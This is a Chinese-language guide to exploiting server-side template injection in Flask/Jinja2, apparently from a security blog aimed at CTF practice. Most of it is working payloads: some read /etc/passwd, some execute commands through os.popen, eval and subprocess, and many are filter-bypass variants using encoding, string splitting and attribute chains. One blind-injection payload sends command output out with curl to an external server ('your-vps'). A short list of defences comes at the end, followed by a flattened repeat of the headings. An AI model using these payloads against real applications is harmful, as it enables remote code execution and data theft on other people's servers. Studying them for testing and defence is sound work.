以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用
字数 1180 2025-08-05 08:17:20

Flask-jinja2 SSTI 漏洞利用完全指南

1. SSTI 基本概念

SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当攻击者能够将恶意模板代码注入到模板引擎中时,可能导致远程代码执行。

2. Flask-jinja2 SSTI 利用基础

2.1 常用魔术方法

  • __class__: 查看变量所属的类
  • __bases__: 查看类的基类
  • __mro__: 获取类的调用顺序
  • __subclasses__(): 查看当前类的子类列表
  • __builtins__: 查看当前所有导入的内建函数
  • __globals__: 以字典形式返回当前位置的所有全局变量
  • __import__(): 用于动态加载类和函数

2.2 基本利用思路

  1. 找到父类 <type 'object'>
  2. 寻找子类
  3. 查找关于命令执行或文件操作的模块

3. 文件读取利用

3.1 Python 2 环境

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

3.2 Python 3 环境

{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}

4. 命令执行利用

4.1 使用 eval 函数

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

4.2 使用 os 模块

{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

4.3 使用 popen 函数

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

4.4 使用 importlib 类

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

4.5 使用 linecache 函数

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

4.6 使用 subprocess.Popen 类

{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

5. Bypass 技巧

5.1 关键字绕过

5.1.1 字符串拼接

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

5.1.2 编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

5.1.3 Unicode 编码

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

5.1.4 Hex 编码

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

5.1.5 引号绕过

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

5.1.6 join() 函数

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

5.2 特殊字符绕过

5.2.1 过滤中括号 [ ]

使用 __getitem__():

{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}

5.2.2 过滤引号

使用 chr() 函数:

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

5.2.3 过滤下划线 __

使用 request 对象:

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

5.2.4 过滤点 .

使用 |attr():

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}

5.2.5 过滤大括号 {{

使用 {%...%}:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

或使用 {%print(...)%}:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

6. 高级 Bypass 技巧

6.1 使用 JinJa 过滤器

常用字符获取入口点:

{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

数字构造:

{% set zero = (self|int) %}    # 0
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2

6.2 过滤 request 和 class

使用 session 对象:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read()}}

使用 __enter__ 方法替代 __init__:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('ls /').read()}}

7. 无回显 SSTI

使用 os.popen 和 curl 外带数据:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://your-vps:2333 -d `ls /|grep flag`') %}1{% endif %}

8. 防御措施

  1. 避免直接将用户输入作为模板渲染
  2. 对用户输入进行严格的过滤和转义
  3. 使用沙箱环境限制模板执行能力
  4. 禁用危险的模板功能和方法

9. 总结

Flask-jinja2 SSTI 漏洞利用的核心是通过 Python 的对象继承链找到可利用的类和方法,结合各种绕过技巧实现文件读取或命令执行。理解 Python 的类继承机制和 Jinja2 模板引擎的特性是成功利用的关键。

Flask-jinja2 SSTI 漏洞利用完全指南 1. SSTI 基本概念 SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当攻击者能够将恶意模板代码注入到模板引擎中时,可能导致远程代码执行。 2. Flask-jinja2 SSTI 利用基础 2.1 常用魔术方法 __class__ : 查看变量所属的类 __bases__ : 查看类的基类 __mro__ : 获取类的调用顺序 __subclasses__() : 查看当前类的子类列表 __builtins__ : 查看当前所有导入的内建函数 __globals__ : 以字典形式返回当前位置的所有全局变量 __import__() : 用于动态加载类和函数 2.2 基本利用思路 找到父类 <type 'object'> 寻找子类 查找关于命令执行或文件操作的模块 3. 文件读取利用 3.1 Python 2 环境 3.2 Python 3 环境 4. 命令执行利用 4.1 使用 eval 函数 4.2 使用 os 模块 4.3 使用 popen 函数 4.4 使用 importlib 类 4.5 使用 linecache 函数 4.6 使用 subprocess.Popen 类 5. Bypass 技巧 5.1 关键字绕过 5.1.1 字符串拼接 5.1.2 编码绕过 5.1.3 Unicode 编码 5.1.4 Hex 编码 5.1.5 引号绕过 5.1.6 join() 函数 5.2 特殊字符绕过 5.2.1 过滤中括号 [ ] 使用 __getitem__() : 5.2.2 过滤引号 使用 chr() 函数: 5.2.3 过滤下划线 __ 使用 request 对象: 5.2.4 过滤点 . 使用 |attr(): 5.2.5 过滤大括号 {{ 使用 {%...%}: 或使用 {%print(...)%}: 6. 高级 Bypass 技巧 6.1 使用 JinJa 过滤器 常用字符获取入口点: 数字构造: 6.2 过滤 request 和 class 使用 session 对象: 使用 __enter__ 方法替代 __init__ : 7. 无回显 SSTI 使用 os.popen 和 curl 外带数据: 8. 防御措施 避免直接将用户输入作为模板渲染 对用户输入进行严格的过滤和转义 使用沙箱环境限制模板执行能力 禁用危险的模板功能和方法 9. 总结 Flask-jinja2 SSTI 漏洞利用的核心是通过 Python 的对象继承链找到可利用的类和方法,结合各种绕过技巧实现文件读取或命令执行。理解 Python 的类继承机制和 Jinja2 模板引擎的特性是成功利用的关键。